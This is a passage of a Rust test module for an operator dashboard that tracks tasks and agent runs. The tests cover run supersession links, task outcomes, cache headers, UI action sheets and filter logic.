23713        // Two cards with the same title and no hint which is which was the
23714        // question: "why are there two of the same, one stalled and one
23715        // blocked?" The older one now names its replacement.
23716        let rows = fx.get("/api/runs").await.json();
23717        let by = |short: &str| -> Value {
23718            rows.as_array()
23719                .unwrap()
23720                .iter()
23721                .find(|r| r["short"] == short)
23722                .cloned()
23723                .unwrap_or(Value::Null)
23724        };
23725        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23726        assert!(
23727            by("bbbb")["superseded_by"].is_null(),
23728            "the latest attempt is not superseded by anything"
23729        );
23730        // Front end: the note has to be rendered, not just carried.
23731        assert!(APP_JS.contains("run.superseded_by"));
23732        assert!(APP_JS.contains("Superseded by"));
23733    }
23734
23735    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23736        let mut t = Task::new(
23737            "one task".to_owned(),
23738            "do it".to_owned(),
23739            PathBuf::from("/repo"),
23740            Source::Human,
23741        );
23742        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23743        t.status = status;
23744        t
23745    }
23746
23747    #[test]
23748    fn source_link_picks_the_page_that_filed_the_task() {
23749        let agent = |node: &str| Source::Agent {
23750            run: "20260904-014455-ab12".to_owned(),
23751            node: node.to_owned(),
23752        };
23753        let chat = source_link(&agent("chat")).expect("chat link");
23754        assert_eq!(chat.kind, "chat");
23755        assert_eq!(chat.id, "20260904-014455-ab12");
23756        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23757        let run = source_link(&agent("implement")).expect("run link");
23758        assert_eq!(
23759            (run.kind, run.href.as_str()),
23760            ("run", "#/runs/20260904-014455-ab12")
23761        );
23762        assert_eq!(source_link(&Source::Human), None);
23763        assert_eq!(
23764            source_link(&Source::Issue {
23765                number: 3,
23766                repo: "o/r".to_owned()
23767            }),
23768            None
23769        );
23770        let odd = source_link(&Source::Agent {
23771            run: "a b/c".to_owned(),
23772            node: "chat".to_owned(),
23773        })
23774        .expect("link");
23775        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23776    }
23777
23778    #[test]
23779    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23780        assert!(
23781            !APP_JS.contains("src.node === \"chat\""),
23782            "inline href rule is back"
23783        );
23784        assert!(
23785            APP_JS.matches("sourceLinkOf(").count() >= 4,
23786            "helper must serve every page"
23787        );
23788        assert!(
23789            APP_JS.matches("openChatLink(").count() >= 3,
23790            "the run page still needs its explicit chat link"
23791        );
23792        assert!(
23793            !APP_JS.contains("const openChat = el("),
23794            "the Queue card duplicates its source label link again"
23795        );
23796        assert!(
23797            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23798            "the task page must link a chat source label too"
23799        );
23800    }
23801
23802    #[test]
23803    fn task_ref_carries_the_source_link_for_a_chat_task() {
23804        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23805        t.source = Source::Agent {
23806            run: "20260904-014455-ab12".to_owned(),
23807            node: "chat".to_owned(),
23808        };
23809        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23810        let v = serde_json::to_value(&out).expect("json");
23811        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23812        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23813        assert_eq!(v["source_label"], t.source.label());
23814
23815        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23816        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23817            .expect("json");
23818        assert!(v["source_link"].is_null(), "{v}");
23819    }
23820
23821    #[test]
23822    fn task_view_serializes_source_link() {
23823        let mut t = Task::new(
23824            "t".to_owned(),
23825            "t".to_owned(),
23826            PathBuf::from("/repo"),
23827            Source::Agent {
23828                run: "20260901-000000-aaaa".to_owned(),
23829                node: "implement".to_owned(),
23830            },
23831        );
23832        t.runs.clear();
23833        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23834        assert_eq!(v["source_link"]["kind"], "run", "{v}");
23835        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23836    }
23837
23838    #[test]
23839    fn task_view_serializes_urgent_flag() {
23840        let mut t = Task::new(
23841            "t".to_owned(),
23842            "t".to_owned(),
23843            PathBuf::from("/repo"),
23844            Source::Human,
23845        );
23846        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23847        assert_eq!(v["urgent"], false, "{v}");
23848        t.urgent = true;
23849        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23850        assert_eq!(v["urgent"], true, "{v}");
23851        assert!(APP_JS.contains("task.urgent === true"));
23852    }
23853
23854    #[tokio::test]
23855    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23856        let fx = Fixture::start().await;
23857        let runs = fx.runs();
23858        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23859        write_run(&runs, old, RunStatus::Blocked);
23860        write_run(&runs, new, RunStatus::Merged);
23861        let mut t = outcome_task(&[old, new], TaskStatus::Done);
23862        fx.queue().put(&mut t).expect("put");
23863
23864        let view = fx.get(&format!("/api/runs/{old}")).await.json();
23865        let task = &view["task"];
23866        assert_eq!(task["status"], "done");
23867        assert_eq!(task["is_latest"], false);
23868        assert_eq!(task["latest"]["short"], "bbbb");
23869        assert_eq!(task["finished_by"]["id"], new);
23870        assert_eq!(task["finished_by"]["outcome"], "merged");
23871        assert_eq!(task["closed_by_hand"], false);
23872        assert_eq!(view["status"], "blocked", "the run keeps its own status");
23873        assert!(APP_JS.contains("finished_by"));
23874        assert!(APP_JS.contains("superseded by run"));
23875    }
23876
23877    #[tokio::test]
23878    async fn the_latest_run_reports_a_held_task_without_a_successor() {
23879        let fx = Fixture::start().await;
23880        let runs = fx.runs();
23881        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23882        write_run(&runs, old, RunStatus::Stalled);
23883        write_run(&runs, new, RunStatus::Blocked);
23884        let mut t = outcome_task(&[old, new], TaskStatus::Held);
23885        fx.queue().put(&mut t).expect("put");
23886
23887        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23888        assert_eq!(task["status"], "held");
23889        assert_eq!(task["is_latest"], true);
23890        assert!(task["latest"].is_null());
23891        assert!(task["finished_by"].is_null());
23892        assert_eq!(task["closed_by_hand"], false);
23893    }
23894
23895    #[tokio::test]
23896    async fn a_direct_run_has_no_task_outcome() {
23897        let fx = Fixture::start().await;
23898        let runs = fx.runs();
23899        let id = "20260901-000000-aaaa";
23900        write_run(&runs, id, RunStatus::Blocked);
23901        let view = fx.get(&format!("/api/runs/{id}")).await.json();
23902        assert!(view["task"].is_null());
23903    }
23904
23905    #[test]
23906    fn task_outcome_does_not_guess_a_finishing_run() {
23907        let a = "20260901-000000-aaaa";
23908        let b = "20260901-000000-bbbb";
23909        let c = "20260901-000000-cccc";
23910        let dir = tempfile::tempdir().expect("tempdir");
23911        write_run(dir.path(), a, RunStatus::Blocked);
23912        write_run(dir.path(), b, RunStatus::VerifiedNoop);
23913        // `c` has no record: unreadable.
23914        let read = |id: &str| read_run(dir.path(), id).ok();
23915        // Neither a blocked run nor a no-op finished the task; the newest run is
23916        // unreadable and still named.
23917        let t = outcome_task(&[a, b, c], TaskStatus::Done);
23918        let out = task_outcome(&t, a, 3, read);
23919        assert!(out.finished_by.is_none());
23920        assert!(out.closed_by_hand);
23921        let latest = out.latest.expect("latest");
23922        assert_eq!(latest.id, c);
23923        assert_eq!(latest.status, None);
23924        assert_eq!(latest.outcome, "record unreadable");
23925
23926        // A Ready run settles the task as done, so it is named as the finisher.
23927        write_run(dir.path(), c, RunStatus::Ready);
23928        let t = outcome_task(&[a, c], TaskStatus::Done);
23929        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23930        assert_eq!(out.finished_by.expect("finisher").id, c);
23931        assert!(!out.closed_by_hand);
23932
23933        // A resumed run id repeats: it is still the latest by id.
23934        let t = outcome_task(&[a, b, a], TaskStatus::Held);
23935        assert!(task_outcome(&t, a, 3, read).is_latest);
23936    }
23937
23938    #[tokio::test]
23939    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23940        // The list route has known this since the card fix above; the detail
23941        // route — what an operator actually opens from a notification about
23942        // a blocked run — did not, and went on showing a bare red BLOCKED
23943        // chip for a run a retry had already finished.
23944        let fx = Fixture::start().await;
23945        let q = fx.queue();
23946        let runs = fx.runs();
23947        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23948        write_run(&runs, first, RunStatus::Blocked);
23949        write_run(&runs, second, RunStatus::Merged);
23950
23951        let mut t = Task::new(
23952            "one task".to_owned(),
23953            "do it".to_owned(),
23954            PathBuf::from("/repo"),
23955            Source::Human,
23956        );
23957        t.runs = vec![first.to_owned(), second.to_owned()];
23958        q.put(&mut t).expect("put");
23959
23960        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23961        assert_eq!(earlier["superseded_by"], "dddd");
23962        assert_eq!(earlier["latest_attempt"]["id"], second);
23963        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23964        assert_eq!(
23965            earlier["latest_attempt"]["resolved"], true,
23966            "the run that replaced it landed, so this one reads as settled"
23967        );
23968
23969        let later = fx.get(&format!("/api/runs/{second}")).await.json();
23970        assert!(
23971            later["superseded_by"].is_null(),
23972            "the latest attempt is not superseded by anything"
23973        );
23974        assert!(
23975            later["latest_attempt"].is_null(),
23976            "the latest attempt has no later attempt of its own"
23977        );
23978
23979        // Front end: the detail page has to read the field this route now
23980        // carries, downgrade the chip, and link to the run that replaced it —
23981        // not just repeat the list card's own logic under a different name.
23982        // The link is built off `latest_attempt.id`, the server-resolved
23983        // full id, never a bare short string a client would have to guess a
23984        // full run from.
23985        assert!(APP_JS.contains("run.latest_attempt"));
23986        assert!(APP_JS.contains("data-superseded"));
23987        assert!(APP_JS.contains("#/runs/${latest.id}"));
23988    }
23989
23990    #[tokio::test]
23991    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23992        // A -> B -> C, all Blocked except the last. A's immediate successor
23993        // (superseded_by) is B, which is itself unresolved; what an operator
23994        // opening A's page actually needs is where the task's story stands
23995        // *now* - C, not B - without depending on whether C happens to be in
23996        // whatever page of /api/runs the client last cached.
23997        let fx = Fixture::start().await;
23998        let q = fx.queue();
23999        let runs = fx.runs();
24000        let (a, b, c) = (
24001            "20260901-000000-aaaa",
24002            "20260901-000000-bbbb",
24003            "20260901-000000-cccc",
24004        );
24005        write_run(&runs, a, RunStatus::Blocked);
24006        write_run(&runs, b, RunStatus::Blocked);
24007        write_run(&runs, c, RunStatus::Merged);
24008
24009        let mut t = Task::new(
24010            "retried twice".to_owned(),
24011            "do it".to_owned(),
24012            PathBuf::from("/repo"),
24013            Source::Human,
24014        );
24015        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24016        q.put(&mut t).expect("put");
24017
24018        let view = fx.get(&format!("/api/runs/{a}")).await.json();
24019        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24020        assert_eq!(
24021            view["latest_attempt"]["id"], c,
24022            "the chain's current head, not the intermediate Blocked retry"
24023        );
24024        assert_eq!(view["latest_attempt"]["resolved"], true);
24025
24026        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24027        assert_eq!(mid["latest_attempt"]["id"], c);
24028        assert_eq!(mid["latest_attempt"]["resolved"], true);
24029    }
24030
24031    #[tokio::test]
24032    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24033        let fx = Fixture::start().await;
24034        let q = fx.queue();
24035        let runs = fx.runs();
24036
24037        // Still Blocked: the task is not resolved, so the older run must not
24038        // read as settled either.
24039        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24040        write_run(&runs, still_blocked_a, RunStatus::Blocked);
24041        write_run(&runs, still_blocked_b, RunStatus::Blocked);
24042        let mut t1 = Task::new(
24043            "still stuck".to_owned(),
24044            "do it".to_owned(),
24045            PathBuf::from("/repo"),
24046            Source::Human,
24047        );
24048        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24049        q.put(&mut t1).expect("put");
24050        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24051        assert_eq!(view1["latest_attempt"]["resolved"], false);
24052        assert_eq!(view1["latest_attempt"]["status"], "blocked");
24053        assert_eq!(view1["latest_attempt"]["done"], true);
24054
24055        // Still running: the successor exists and must be reported as such.
24056        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24057        write_run(&runs, run_a, RunStatus::Blocked);
24058        write_run(&runs, run_b, RunStatus::Implementing);
24059        let mut t3 = Task::new(
24060            "retrying".to_owned(),
24061            "do it".to_owned(),
24062            PathBuf::from("/repo"),
24063            Source::Human,
24064        );
24065        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
24066        q.put(&mut t3).expect("put");
24067        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
24068        assert_eq!(view3["latest_attempt"]["id"], run_b);
24069        assert_eq!(view3["latest_attempt"]["resolved"], false);
24070        assert_eq!(view3["latest_attempt"]["done"], false);
24071
24072        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
24073        // to check - not a confirmed finish, so this must not read as
24074        // resolved either, even though the run is done in the sense that
24075        // nothing is still running.
24076        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
24077        write_run(&runs, noop_a, RunStatus::Blocked);
24078        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
24079        let mut t2 = Task::new(
24080            "claims done".to_owned(),
24081            "do it".to_owned(),
24082            PathBuf::from("/repo"),
24083            Source::Human,
24084        );
24085        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
24086        q.put(&mut t2).expect("put");
24087        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
24088        assert_eq!(
24089            view2["latest_attempt"]["resolved"], false,
24090            "an unverified no-op claim must not read as a confirmed finish"
24091        );
24092
24093        // Front end: an unresolved successor must not carry the "finished
24094        // this work" note or the muted chip treatment.
24095        assert!(APP_JS.contains("latest.resolved"));
24096        // ...but the link to it shows as soon as it exists, labelled by state
24097        // and without the "finished" wording or the muted chip.
24098        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
24099        assert!(APP_JS.contains("Latest attempt: "));
24100        assert!(APP_JS.contains("in flight"));
24101        assert!(APP_JS.contains("not resolved"));
24102    }
24103
24104    #[tokio::test]
24105    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
24106        let fx = Fixture::start().await;
24107        // No cache header at all meant browsers invented their own policy,
24108        // and one did: a phone went on showing "Candidates must be folded
24109        // before deleting. Run `magi fold` first." - deleted two releases
24110        // earlier - from a deck that no longer contained the sentence. The
24111        // button it named was right there, and unreachable.
24112        let js = fx.get("/app.js").await;
24113        assert_eq!(js.status, 200);
24114        let tag = js
24115            .header("etag")
24116            .expect("an etag to revalidate against")
24117            .to_owned();
24118        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24119        assert_eq!(
24120            js.header("cache-control"),
24121            Some("no-cache, must-revalidate"),
24122            "the phone has to ask every time"
24123        );
24124
24125        // And the asking has to be cheap, or `must-revalidate` just means
24126        // "send the whole interface on every load".
24127        let again = fx
24128            .get_with("/app.js", &[("if-none-match", tag.as_str())])
24129            .await;
24130        assert_eq!(
24131            again.status, 304,
24132            "a deck it already has costs one round trip"
24133        );
24134        assert!(again.body.is_empty(), "304 carries no body");
24135
24136        // A weakened tag from a proxy still matches; a different build does
24137        // not, which is the case that has to deliver the new interface.
24138        let weak = fx
24139            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24140            .await;
24141        assert_eq!(weak.status, 304);
24142        let stale = fx
24143            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24144            .await;
24145        assert_eq!(stale.status, 200, "an older build must be replaced");
24146        assert!(stale.body.contains("renderRunActions"));
24147    }
24148
24149    #[test]
24150    fn the_task_detail_has_an_actions_fab_and_sheet() {
24151        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24152        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24153        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24154        // Shown only on the task route, closed everywhere else.
24155        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
24156        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
24157        // Refreshed whenever the detail redraws, including the loading state.
24158        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
24159        assert!(APP_JS.contains("renderTaskActions(null);"));
24160        // Same renderers and routes as the Queue card, no new endpoint.
24161        let sheet = APP_JS
24162            .find("function renderTaskActions")
24163            .expect("sheet renderer");
24164        let body = &APP_JS[sheet..sheet + 3000];
24165        assert!(body.contains("changePriority("));
24166        assert!(body.contains("openTaskEdit(task)"));
24167        assert!(body.contains("renderTaskHoldBox(host"));
24168        assert!(body.contains("renderTaskDoneBox(host"));
24169        assert!(body.contains("renderTaskDeleteBox(host"));
24170        assert!(APP_JS.contains("API.priority(id)"));
24171        assert!(APP_JS.contains("API.deleteTask(id)"));
24172        // A deleted task sends the operator back to the queue.
24173        assert!(APP_JS.contains("location.hash = \"#/queue\""));
24174        // A refusal is shown inside the sheet.
24175        assert!(APP_JS.contains("$(\"task-actions-error\")"));
24176    }
24177
24178    #[test]
24179    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
24180        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
24181        let actions = INDEX_HTML
24182            .find("id=\"run-actions-box\"")
24183            .expect("actions box");
24184        assert!(task < actions, "the task entry comes first in the sheet");
24185        assert!(APP_JS.contains("renderRunTaskEntry"));
24186        assert!(APP_JS.contains("\"Open task \""));
24187        // A run without a task says why there is nothing to open.
24188        assert!(APP_JS.contains("started directly, no task"));
24189        assert!(APP_JS.contains("sheet-task-link"));
24190        assert!(APP_JS.contains("task-chip-link"));
24191    }
24192
24193    #[test]
24194    fn the_deck_never_sends_the_operator_to_a_terminal() {
24195        // The whole point of the phone UI is that a terminal is not needed.
24196        // The delete control used to answer with "Run `magi fold` first."
24197        assert!(
24198            !APP_JS.contains("Run `magi fold` first"),
24199            "the deck must offer the fold, not prescribe a shell command"
24200        );
24201        assert!(APP_JS.contains("foldRun:"));
24202        assert!(APP_JS.contains("resumeRun:"));
24203        assert!(APP_JS.contains("renderRunActions"));
24204
24205        // Folding is destructive and armed in two steps, like deleting.
24206        assert!(APP_JS.contains("armedFold"));
24207        assert!(APP_JS.contains("Yes, fold worktrees"));
24208
24209        // And the copy has to say that the two actions are opposites, because
24210        // folding throws away exactly what a resume would continue from.
24211        assert!(APP_JS.contains("can no longer be resumed"));
24212    }
24213
24214    #[test]
24215    fn a_finished_run_explains_itself_with_its_own_last_line() {
24216        // The deck used to answer "why did this stop?" with a sentence chosen
24217        // by status alone. Run e633 stalled because two judges answered with
24218        // the wrong JSON shape and its card said "The panel collapsed on
24219        // agent quota" - with `quota: []` in the record and a quota-loss
24220        // counter right above it that correctly said nothing.
24221        assert!(
24222            !APP_JS.contains("collapsed on agent quota"),
24223            "a stall must not be explained by a cause the deck did not check"
24224        );
24225        assert!(
24226            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
24227            "and a block must not offer a guess with an `or` in it"
24228        );
24229
24230        // The reason it does have is `run.event`, which must reach finished
24231        // runs: gating it on movement hid the recorded truth at the one moment
24232        // the operator is reading the card to find out what happened.
24233        assert!(
24234            APP_JS.contains("setText(r.event, run.event || \"\")"),
24235            "the run's last line is rendered unconditionally"
24236        );
24237        assert!(
24238            !APP_JS.contains("moving && run.event"),
24239            "and never gated on the run still moving"
24240        );
24241
24242        // Quota keeps its own counter, fed by the number actually recorded.
24243        assert!(APP_JS.contains("lost to quota"));
24244    }
24245
24246    /// The runs tree (section) and the state chips (waiting/done) are two
24247    /// independent lenses ANDed together in `renderRuns`, and some pairings
24248    /// can never both be true for any run - every "Landed"/"Ended" run is
24249    /// done by construction, so pairing either with "Active" or "In flight"
24250    /// always rendered zero cards with the filter bar still claiming
24251    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
24252    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
24253    /// a handful of (waiting, status) shapes standing in for the run
24254    /// lifecycle, because `cargo test` cannot execute the front end.
24255    ///
24256    /// That stand-in list is itself the part that drifted twice in review:
24257    /// once shipped with `waiting: true` paired with a done status the
24258    /// lifecycle cannot produce, then over-corrected into treating every
24259    /// waiting run as never done - which made "Waiting on you" look
24260    /// incompatible with "Done" even for the one real, reachable shape
24261    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
24262    /// that combination. This test parses the shapes and the done-rule back
24263    /// out of `APP_JS`, reimplements `runSection` and the five state
24264    /// predicates independently in Rust, and checks the resulting
24265    /// section/filter compatibility table against the lifecycle rules by
24266    /// hand - so either direction of drift fails it again.
24267    #[test]
24268    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
24269        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
24270        let shapes_body_start =
24271            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
24272        let shapes_close = APP_JS[shapes_body_start..]
24273            .find("].map(")
24274            .expect("the shape list is closed by its done-computing .map(...)")
24275            + shapes_body_start;
24276        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
24277
24278        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
24279        for entry in shapes_src.split('{').skip(1) {
24280            let waiting = entry.contains("waiting: true");
24281            let dead = entry.contains("live: \"dead\"");
24282            let status_at =
24283                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
24284            let status_end = entry[status_at..]
24285                .find('"')
24286                .expect("the status string is closed")
24287                + status_at;
24288            let parked = entry.contains("display_status: \"parked\"");
24289            shapes.push((
24290                waiting,
24291                entry[status_at..status_end].to_string(),
24292                dead,
24293                parked,
24294            ));
24295        }
24296        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
24297
24298        // The done rule itself (`!["implementing"].includes(shape.status)`),
24299        // read out of the source rather than hardcoded, so a renamed
24300        // in-flight status can't silently make every parsed shape "done".
24301        let done_rule_marker = "done: !";
24302        let done_rule_at = APP_JS[shapes_close..]
24303            .find(done_rule_marker)
24304            .expect("the done rule follows the shape list")
24305            + shapes_close
24306            + done_rule_marker.len();
24307        let includes_at = APP_JS[done_rule_at..]
24308            .find(".includes(shape.status)")
24309            .expect("the done rule ends in .includes(shape.status)")
24310            + done_rule_at;
24311        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
24312            .trim()
24313            .trim_start_matches('[')
24314            .trim_end_matches(']')
24315            .split(',')
24316            .map(|s| s.trim().trim_matches('"'))
24317            .filter(|s| !s.is_empty())
24318            .collect();
24319
24320        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
24321            .into_iter()
24322            .map(|(waiting, status, dead, parked)| {
24323                let done = !not_done.contains(&status.as_str());
24324                (waiting, status, dead, parked, done)
24325            })
24326            .collect();
24327
24328        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
24329        // outright, then merged/ready land, stalled/blocked/failed/
24330        // verified_noop end, and everything else is still in flight.
24331        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
24332            if waiting {
24333                return "waiting";
24334            }
24335            if dead
24336                && !parked
24337                && !matches!(
24338                    status,
24339                    "merged"
24340                        | "ready"
24341                        | "stalled"
24342                        | "blocked"
24343                        | "failed"
24344                        | "verified_noop"
24345                        | "superseded"
24346                        | "already_in_base"
24347                )
24348            {
24349                return "stale";
24350            }
24351            match status {
24352                "merged" | "ready" => "landed",
24353                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24354                | "already_in_base" => "ended",
24355                _ => "flight",
24356            }
24357        }
24358
24359        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
24360        // way.
24361        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24362            match filter_key {
24363                "active" => !done,
24364                "flight" => !done && !waiting && !dead,
24365                "stale" => !done && !waiting && dead,
24366                "waiting" => waiting,
24367                "done" => done,
24368                "all" => true,
24369                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24370            }
24371        }
24372
24373        let compatible = |section: &str, filter_key: &str| {
24374            shapes.iter().any(|(waiting, status, dead, parked, done)| {
24375                run_section(*waiting, status, *dead, *parked) == section
24376                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24377            })
24378        };
24379
24380        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
24381        // (active, flight, stale, waiting, done, all) - hand-derived from the
24382        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
24383        // currently contains.
24384        let expected = [
24385            ("waiting", [true, false, false, true, true, true]),
24386            ("stale", [true, false, true, false, false, true]),
24387            ("flight", [true, true, false, false, false, true]),
24388            ("landed", [false, false, false, false, true, true]),
24389            ("ended", [false, false, false, false, true, true]),
24390        ];
24391        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24392
24393        for (section, wants) in expected {
24394            for (filter_key, want) in filter_keys.iter().zip(wants) {
24395                assert_eq!(
24396                    compatible(section, filter_key),
24397                    want,
24398                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24399                );
24400            }
24401        }
24402
24403        // The compatibility check exists only to be acted on: both pickers
24404        // must actually consult it rather than just render its answer.
24405        assert!(
24406            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24407        );
24408        assert!(APP_JS.contains(
24409            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24410        ));
24411        assert!(APP_JS.contains(
24412            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24413        ));
24414    }
24415
24416    #[tokio::test]
24417    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24418        // An operator-named directory - git checkout or not - is never
24419        // second-guessed, even when it does not exist at all: only the
24420        // flag's own unmodified `.` default is ever eligible for discovery.
24421        let dir = tempfile::tempdir().expect("tempdir");
24422        let explicit = dir.path().join("not-a-checkout");
24423        std::fs::create_dir_all(&explicit).expect("create dir");
24424        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24425
24426        let missing = dir.path().join("does-not-exist-at-all");
24427        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24428    }
24429
24430    #[test]
24431    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24432        assert!(APP_JS.contains("function statsDonutArcs"));
24433        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24434        // A bucket click filters by the statuses src/stats.rs counts in it.
24435        assert!(APP_JS.contains("function statusInBucket"));
24436        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24437        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24438        let buckets = [
24439            "merged",
24440            "ready",
24441            "in_progress",
24442            "blocked",
24443            "failed",
24444            "verified_noop",
24445            "superseded",
24446            "stalled",
24447        ];
24448        for key in buckets {
24449            let var = format!("--verdict-{key}:");
24450            // Light, OS-dark and pinned-dark blocks each define it.
24451            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24452            assert!(
24453                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24454                "{key}"
24455            );
24456        }
24457    }
24458
24459    #[tokio::test]
24460    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24461        let dir = tempfile::tempdir().expect("tempdir");
24462        let queue = Queue::at(dir.path().join("queue"));
24463        let talks = Talks::at(dir.path().join("talks"));
24464        std::fs::create_dir_all(queue.root()).unwrap();
24465        std::fs::create_dir_all(talks.root()).unwrap();
24466
24467        // Put a corrupt json file in both stores
24468        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24469        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24470
24471        // Valid task and talk
24472        let mut task = Task::new(
24473            "title".into(),
24474            "inst".into(),
24475            PathBuf::from("/repo"),
24476            Source::Human,
24477        );
24478        task.id = "20261019-123456-abcd".into();
24479        // Write manually so it's a valid file
24480        std::fs::write(
24481            queue.path_of(&task.id),
24482            serde_json::to_string(&task).unwrap(),
24483        )
24484        .unwrap();
24485
24486        let talk_id = "20261019-234567-cdef";
24487        seed_talk_at(&talks, talk_id, "open");
24488
24489        // Exact match should succeed without failing on the corrupt json file
24490        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24491        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24492
24493        // Prefix match should also succeed by scanning file names without deserializing corrupt file
24494        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24495        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24496    }
24497
24498    #[tokio::test]
24499    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24500        let home = tempfile::tempdir().unwrap();
24501        let ui = delta_test_ui(home.path());
24502        // A full history traversal would fail even with no questions.
24503        std::fs::write(ui.queue.root(), "not a directory").unwrap();
24504        std::fs::write(ui.talks.root(), "not a directory").unwrap();
24505        assert!(
24506            questions_list(State(ui.clone()))
24507                .await
24508                .unwrap()
24509                .0
24510                .is_empty()
24511        );
24512        assert!(
24513            question_origins(State(ui.clone()))
24514                .await
24515                .unwrap()
24516                .0
24517                .is_empty()
24518        );
24519        let mut question = Question::new(
24520            "run-history".into(),
24521            "review".into(),
24522            "seat".into(),
24523            "Useful question".into(),
24524            "Useful detail".into(),
24525            vec![],
24526        );
24527        ui.questions.put(&mut question).unwrap();
24528        let core = questions_core(State(ui.clone())).await.unwrap().0;
